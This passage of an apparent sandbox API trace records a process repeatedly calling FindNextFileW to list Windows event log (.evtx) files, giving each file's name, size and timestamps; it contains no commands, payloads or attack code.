dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0053.448] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0053.449] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0053.450] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0053.451] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, 